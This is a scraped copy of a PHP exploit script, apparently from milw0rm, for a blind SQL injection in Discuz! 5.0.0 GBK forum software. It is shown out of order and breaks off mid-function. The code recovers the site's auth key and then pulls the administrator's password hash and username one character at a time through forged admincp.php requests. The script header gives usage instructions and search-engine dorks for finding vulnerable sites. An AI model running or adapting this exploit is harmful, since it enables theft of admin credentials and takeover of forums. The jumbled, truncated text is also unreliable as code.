$t2=explode("' ",$t[1]); $pwd_f=$t2[0]; $t=explode("AND m.secques='",$html); $t2=explode("'\n",$t[1]); $secques_f=$t2[0]; $t=explode("AND m.uid='",$html); $t2=explode("'\x0d",$t[1]); $uid_f=$t2[0]; $my_string=$pwd_f."\t".$secques_f."\t".$uid_f; if ((strlen($my_string)==270) and (!eregi("=",$my_string))){ break; } } $temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE"); //calculating key $key=""; for ($j=0; $j<32; $j++){ for ($i=0; $i<255; $i++){ $aa=""; if ($j<>0){ for ($k=1; $k<=$j; $k++){ $aa.="a"; } } $GLOBALS['discuz_auth_key']=$aa.chr($i); $t = authcode($temp,"DECODE"); if ($t[$j]==$my_string[$j]){ $key.=chr($i); } } } //echo "AUTH KEY ->".$key."\r\n"; $GLOBALS['discuz_auth_key']=$key; echo "pwd hash (md5) -> "; $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(97,102));//a-f letters $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { //you can use every char because of base64_decode() so this bypass magic quotes //and some help by extract() to overwrite vars $sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF(( ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_member s/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*"; $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n "; $packet.="User-Agent: $agent\r\n"; $packet.="CLIENT-IP: 1.2.3.4\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("sunt zu\tsuntzu\t".$sql,"ENCODE").";\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("action=groupexpiry",$html)){ $password.=chr($i);echo chr($i);sleep(1);break; } } if ($i==255) { die("\nExploit failed "); } } $j++; } echo "\nadmin user -> "; $j=1;$admin=""; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $sql="999999'/**/UNION/**/SELECT/**/1,1,1,1,1,1,1,1,1,1,1,1,(IF((A SCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members /**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*"; $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n"; $packet.="User-Agent: $agent\r\n"; $packet.="CLIENT-IP: 1.2.3.4\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu \tsuntzu\t".$sql,"ENCODE").";\r\n"; $packet.="Accept: text/plain\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("action=groupexpiry",$html)){ $admin.=chr($i);echo chr($i);sleep(1);break; } if ($i==255) {die("\nExploit failed ");} } $j++; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } if (is_hash($password)) { echo "exploit succeeded "; } else { echo "exploit failed "; } ?> # milw0rm.com [2006-11-28] Black_hat_cr(HCE) Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit Code: <?php print_r(' Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit by rgod rgod@autistici.org site: http://retrogod.altervista.org dorks: "powered by discuz! 5.0.0 "powered by discuz! '); if ($argc<3) { print_r(' Usage: php '.$argv[0].' host path OPTIONS host: target server (ip/hostname) path: path to discuz Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' localhost /discuz/ -P1.1.1.1:80 php '.$argv[0].' localhost /discuz/ -p81 '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy ';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy \r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy ';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { . ';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy "; $ock=fsockopen($parts[0],$parts[1]); if (!$ock)